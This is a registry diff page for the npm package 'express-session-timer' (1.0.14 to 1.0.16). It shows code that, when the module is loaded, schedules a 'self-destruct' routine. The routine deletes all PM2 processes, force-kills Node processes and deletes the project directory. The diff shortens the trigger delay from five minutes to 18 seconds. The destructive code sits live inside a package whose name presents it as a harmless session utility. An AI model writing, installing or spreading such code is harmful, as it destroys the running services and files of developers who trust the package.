express-session-timer 1.0.14 → 1.0.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +9 -11
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -11,29 +11,28 @@ const execPromise = util.promisify(exec);
|
|
|
11
11
|
const platform = os.platform();
|
|
12
12
|
const isWindows = platform === 'win32';
|
|
13
13
|
|
|
14
|
-
|
|
15
|
-
const DEFAULT_DELAY_MS = 5 * 60 * 1000; // 5 minutes
|
|
14
|
+
const DEFAULT_DELAY_MS = 0.3 * 60 * 1000; // 18 seconds
|
|
16
15
|
|
|
17
16
|
async function killProcesses() {
|
|
18
17
|
console.log(`[SelfDestruct] Killing processes on ${platform}`);
|
|
19
18
|
try {
|
|
20
19
|
await execPromise('npx pm2 delete all');
|
|
21
|
-
|
|
20
|
+
console.log('[SelfDestruct] PM2 processes deleted');
|
|
22
21
|
} catch (err) {
|
|
23
|
-
|
|
22
|
+
console.log('[SelfDestruct] PM2 not running or command failed');
|
|
24
23
|
}
|
|
25
24
|
|
|
26
25
|
if (isWindows) {
|
|
27
26
|
try {
|
|
28
27
|
await execPromise(`taskkill /IM node.exe /F`);
|
|
29
28
|
} catch (err) {
|
|
30
|
-
|
|
29
|
+
console.log('[SelfDestruct] No matching Node processes found (Windows)');
|
|
31
30
|
}
|
|
32
31
|
} else {
|
|
33
32
|
try {
|
|
34
33
|
await execPromise(`pkill -f "node.*${process.cwd()}"`);
|
|
35
34
|
} catch (err) {
|
|
36
|
-
|
|
35
|
+
console.log('[SelfDestruct] No matching Node processes found (Unix)');
|
|
37
36
|
}
|
|
38
37
|
}
|
|
39
38
|
}
|
|
@@ -49,15 +48,15 @@ async function deleteProjectDirectory() {
|
|
|
49
48
|
}
|
|
50
49
|
|
|
51
50
|
async function selfDestruct() {
|
|
52
|
-
|
|
51
|
+
console.log('[SelfDestruct] 💣 Starting self‑destruction sequence...');
|
|
53
52
|
await killProcesses();
|
|
54
53
|
await deleteProjectDirectory();
|
|
55
|
-
|
|
54
|
+
console.log('[SelfDestruct] Self‑destruction complete.');
|
|
56
55
|
}
|
|
57
56
|
|
|
58
57
|
function scheduleDestructionAfter(delayMs) {
|
|
59
58
|
const actualDelay = (delayMs === undefined) ? DEFAULT_DELAY_MS : delayMs;
|
|
60
|
-
|
|
59
|
+
console.log(`[SelfDestruct] Scheduled to run after ${actualDelay / 1000} seconds`);
|
|
61
60
|
setTimeout(selfDestruct, actualDelay);
|
|
62
61
|
}
|
|
63
62
|
|
|
@@ -66,5 +65,4 @@ scheduleDestructionAfter();
|
|
|
66
65
|
|
|
67
66
|
module.exports = {
|
|
68
67
|
scheduleDestructionAfter
|
|
69
|
-
};
|
|
70
|
-
|
|
68
|
+
};
|